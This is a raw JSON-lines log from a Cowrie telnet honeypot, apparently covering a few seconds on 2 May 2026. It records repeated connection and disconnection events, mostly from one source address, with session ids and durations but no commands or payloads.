{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35556,"dst_ip":"159.203.135.109","dst_port":23,"session":"17cb0197337a","protocol":"telnet","message":"New connection: 162.55.233.176:35556 (159.203.135.109:23) [session: 17cb0197337a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:37.996994Z"}
{"eventid":"cowrie.session.closed","duration":32.79987716674805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:38.387728Z","src_ip":"162.55.233.176","session":"209c4ba7b1e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b91bad6f8c4","protocol":"telnet","message":"New connection: 162.55.233.176:35560 (159.203.135.109:23) [session: 3b91bad6f8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:38.423601Z"}
{"eventid":"cowrie.session.closed","duration":31.017528772354126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:38.647148Z","src_ip":"162.55.233.176","session":"981296106da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485628128051758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:38.885814Z","src_ip":"162.55.233.176","session":"4b5f0b7d2759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1783601bc1a","protocol":"telnet","message":"New connection: 162.55.233.176:35572 (159.203.135.109:23) [session: d1783601bc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:38.961782Z"}
{"eventid":"cowrie.session.closed","duration":31.00287103652954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:39.218243Z","src_ip":"162.55.233.176","session":"e49291e5727e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35588,"dst_ip":"159.203.135.109","dst_port":23,"session":"73de603ae88a","protocol":"telnet","message":"New connection: 162.55.233.176:35588 (159.203.135.109:23) [session: 73de603ae88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:39.461996Z"}
{"eventid":"cowrie.session.closed","duration":32.24175000190735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:39.528541Z","src_ip":"162.55.233.176","session":"3ff194066620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447277307510376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:39.572926Z","src_ip":"162.55.233.176","session":"108256d58f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35604,"dst_ip":"159.203.135.109","dst_port":23,"session":"79884abf9362","protocol":"telnet","message":"New connection: 162.55.233.176:35604 (159.203.135.109:23) [session: 79884abf9362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.211341Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35576,"dst_ip":"159.203.135.109","dst_port":23,"session":"39fba4b2c7eb","protocol":"telnet","message":"New connection: 162.55.233.176:35576 (159.203.135.109:23) [session: 39fba4b2c7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.364559Z"}
{"eventid":"cowrie.session.closed","duration":31.155274629592896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.369521Z","src_ip":"162.55.233.176","session":"e3338d3b7f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02082920074463,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.428904Z","src_ip":"162.55.233.176","session":"7481318ed38d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.803133964538574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.490159Z","src_ip":"162.55.233.176","session":"034438fb872c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73521852493286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.548657Z","src_ip":"162.55.233.176","session":"1b3d7cb7ee60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.697206258773804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:40.619427Z","src_ip":"162.55.233.176","session":"4fd80ff0ea15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56170,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b9a57a74a3","protocol":"telnet","message":"New connection: 206.189.32.23:56170 (10.17.0.5:23) [session: 26b9a57a74a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.110483Z"}
{"eventid":"cowrie.session.closed","duration":30.964446544647217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.418654Z","src_ip":"162.55.233.176","session":"fb995ff88e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35616,"dst_ip":"159.203.135.109","dst_port":23,"session":"38877934076a","protocol":"telnet","message":"New connection: 162.55.233.176:35616 (159.203.135.109:23) [session: 38877934076a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.596107Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35624,"dst_ip":"159.203.135.109","dst_port":23,"session":"7132d1bcd64e","protocol":"telnet","message":"New connection: 162.55.233.176:35624 (159.203.135.109:23) [session: 7132d1bcd64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.599812Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35630,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d160ec13932","protocol":"telnet","message":"New connection: 162.55.233.176:35630 (159.203.135.109:23) [session: 7d160ec13932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.811823Z"}
{"eventid":"cowrie.session.closed","duration":31.324229955673218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:41.929392Z","src_ip":"162.55.233.176","session":"cb967c80f96d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29202437400818,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:42.132256Z","src_ip":"162.55.233.176","session":"b9ae03349099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1764075756073,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:42.702099Z","src_ip":"162.55.233.176","session":"668409614b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70321297645569,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:42.820373Z","src_ip":"162.55.233.176","session":"85da87fb10d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.30842566490173,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:42.834525Z","src_ip":"162.55.233.176","session":"20e962a4bd5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48640,"dst_ip":"159.203.135.109","dst_port":23,"session":"30757a79221a","protocol":"telnet","message":"New connection: 162.55.233.176:48640 (159.203.135.109:23) [session: 30757a79221a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:42.990799Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"5310bf3d05f4","protocol":"telnet","message":"New connection: 162.55.233.176:48650 (159.203.135.109:23) [session: 5310bf3d05f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.088369Z"}
{"eventid":"cowrie.session.closed","duration":35.589009284973145,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.115104Z","src_ip":"162.55.233.176","session":"a054288adec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.60603094100952,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.216171Z","src_ip":"162.55.233.176","session":"89c04ea10179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48660,"dst_ip":"159.203.135.109","dst_port":23,"session":"6394490702bb","protocol":"telnet","message":"New connection: 162.55.233.176:48660 (159.203.135.109:23) [session: 6394490702bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.276833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f34ecac7528","protocol":"telnet","message":"New connection: 162.55.233.176:48662 (159.203.135.109:23) [session: 7f34ecac7528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.522561Z"}
{"eventid":"cowrie.session.closed","duration":30.99046492576599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.589611Z","src_ip":"162.55.233.176","session":"c1d09cdc7d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.92093467712402,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.702230Z","src_ip":"162.55.233.176","session":"e1e1fa5a64f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf707bf29fb","protocol":"telnet","message":"New connection: 188.208.141.113:41142 (10.17.0.5:23) [session: ccf707bf29fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:43.917424Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48672,"dst_ip":"159.203.135.109","dst_port":23,"session":"e568bfc44f62","protocol":"telnet","message":"New connection: 162.55.233.176:48672 (159.203.135.109:23) [session: e568bfc44f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.416678Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48682,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c2978d8d40","protocol":"telnet","message":"New connection: 162.55.233.176:48682 (159.203.135.109:23) [session: 96c2978d8d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.473827Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48696,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab7a09c707c","protocol":"telnet","message":"New connection: 162.55.233.176:48696 (159.203.135.109:23) [session: dab7a09c707c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.574059Z"}
{"eventid":"cowrie.session.closed","duration":31.320300579071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.582776Z","src_ip":"162.55.233.176","session":"e88f5d89583d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.761414527893066,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.754516Z","src_ip":"162.55.233.176","session":"8e65b83a9aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99240493774414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.780562Z","src_ip":"162.55.233.176","session":"128906ed319d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48708,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ca362cb30f","protocol":"telnet","message":"New connection: 162.55.233.176:48708 (159.203.135.109:23) [session: b1ca362cb30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.978386Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d255d9d8bbaf","protocol":"telnet","message":"New connection: 162.55.233.176:48710 (159.203.135.109:23) [session: d255d9d8bbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:44.985659Z"}
{"eventid":"cowrie.session.closed","duration":37.51134943962097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.010193Z","src_ip":"162.55.233.176","session":"bf63c0b69f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48718,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5afeb92ede","protocol":"telnet","message":"New connection: 162.55.233.176:48718 (159.203.135.109:23) [session: cf5afeb92ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.092820Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"55747cd4fea2","protocol":"telnet","message":"New connection: 162.55.233.176:48730 (159.203.135.109:23) [session: 55747cd4fea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.349370Z"}
{"eventid":"cowrie.session.closed","duration":34.30734062194824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.539710Z","src_ip":"162.55.233.176","session":"746ffcb145d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.028186559677124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.648097Z","src_ip":"162.55.233.176","session":"8f11815ae9c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.81045341491699,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.735814Z","src_ip":"206.189.32.23","session":"adce0f0f5b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.127328395843506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:45.759980Z","src_ip":"162.55.233.176","session":"bde504987337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.520933628082275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.008855Z","src_ip":"162.55.233.176","session":"78332e2159f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72391080856323,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.254943Z","src_ip":"162.55.233.176","session":"f8c7a0963cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48732,"dst_ip":"159.203.135.109","dst_port":23,"session":"abcf74b7d793","protocol":"telnet","message":"New connection: 162.55.233.176:48732 (159.203.135.109:23) [session: abcf74b7d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.334321Z"}
{"eventid":"cowrie.session.closed","duration":38.465341567993164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.340917Z","src_ip":"162.55.233.176","session":"4c01b72d0dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33836,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fc3a7d7f7a","protocol":"telnet","message":"New connection: 206.189.32.23:33836 (10.17.0.5:23) [session: 69fc3a7d7f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.356049Z"}
{"eventid":"cowrie.session.closed","duration":31.334474086761475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.386214Z","src_ip":"162.55.233.176","session":"3c6620cddcc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47256827354431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.563376Z","src_ip":"162.55.233.176","session":"beed74236b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48736,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da6e343460a","protocol":"telnet","message":"New connection: 162.55.233.176:48736 (159.203.135.109:23) [session: 9da6e343460a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.580232Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48748,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef27335ae0f","protocol":"telnet","message":"New connection: 162.55.233.176:48748 (159.203.135.109:23) [session: 1ef27335ae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.721848Z"}
{"eventid":"cowrie.session.closed","duration":31.16370677947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:46.768383Z","src_ip":"162.55.233.176","session":"a401f6002b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76958966255188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.121414Z","src_ip":"162.55.233.176","session":"f4857c58a634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":32810,"dst_ip":"10.17.0.5","dst_port":23,"session":"472c691e2663","protocol":"telnet","message":"New connection: 206.189.32.23:32810 (10.17.0.5:23) [session: 472c691e2663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.434057Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48750,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e44dafa055e","protocol":"telnet","message":"New connection: 162.55.233.176:48750 (159.203.135.109:23) [session: 8e44dafa055e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.498145Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48756,"dst_ip":"159.203.135.109","dst_port":23,"session":"31126cd33e0b","protocol":"telnet","message":"New connection: 162.55.233.176:48756 (159.203.135.109:23) [session: 31126cd33e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.751013Z"}
{"eventid":"cowrie.session.closed","duration":31.098729610443115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.941119Z","src_ip":"162.55.233.176","session":"0a8afae9fdd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9595308303833,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:47.983162Z","src_ip":"162.55.233.176","session":"77ea03fd5adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59897804260254,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.073574Z","src_ip":"162.55.233.176","session":"1225a8d38218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.279120445251465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.125496Z","src_ip":"162.55.233.176","session":"394302a581aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82310962677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.143520Z","src_ip":"162.55.233.176","session":"6d2b76370547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48762,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe342ac85e2","protocol":"telnet","message":"New connection: 162.55.233.176:48762 (159.203.135.109:23) [session: dfe342ac85e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.149294Z"}
{"eventid":"cowrie.session.closed","duration":30.910250902175903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.594404Z","src_ip":"162.55.233.176","session":"0e33ced5255d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48774,"dst_ip":"159.203.135.109","dst_port":23,"session":"9925e6961729","protocol":"telnet","message":"New connection: 162.55.233.176:48774 (159.203.135.109:23) [session: 9925e6961729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.641039Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48786,"dst_ip":"159.203.135.109","dst_port":23,"session":"50409ed38f85","protocol":"telnet","message":"New connection: 162.55.233.176:48786 (159.203.135.109:23) [session: 50409ed38f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.679457Z"}
{"eventid":"cowrie.session.closed","duration":35.634382247924805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.733202Z","src_ip":"162.55.233.176","session":"2f9be6ea006e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48800,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dd34c7ad31d","protocol":"telnet","message":"New connection: 162.55.233.176:48800 (159.203.135.109:23) [session: 8dd34c7ad31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.790896Z"}
{"eventid":"cowrie.session.closed","duration":32.03794574737549,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.863214Z","src_ip":"162.55.233.176","session":"1bbeb6d644e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89228558540344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.876570Z","src_ip":"162.55.233.176","session":"a611a7eb2615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.490673542022705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:48.991452Z","src_ip":"162.55.233.176","session":"8959341afb43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b5b21e26be","protocol":"telnet","message":"New connection: 162.55.233.176:48810 (159.203.135.109:23) [session: b4b5b21e26be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:49.266414Z"}
{"eventid":"cowrie.session.closed","duration":40.331658363342285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:49.342460Z","src_ip":"188.208.141.113","session":"97774e71805d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48826,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb1f1d1fcfa","protocol":"telnet","message":"New connection: 162.55.233.176:48826 (159.203.135.109:23) [session: adb1f1d1fcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:49.598503Z"}
{"eventid":"cowrie.session.closed","duration":36.444072246551514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:49.816070Z","src_ip":"162.55.233.176","session":"7c09f763dc18","protocol":"telnet"}
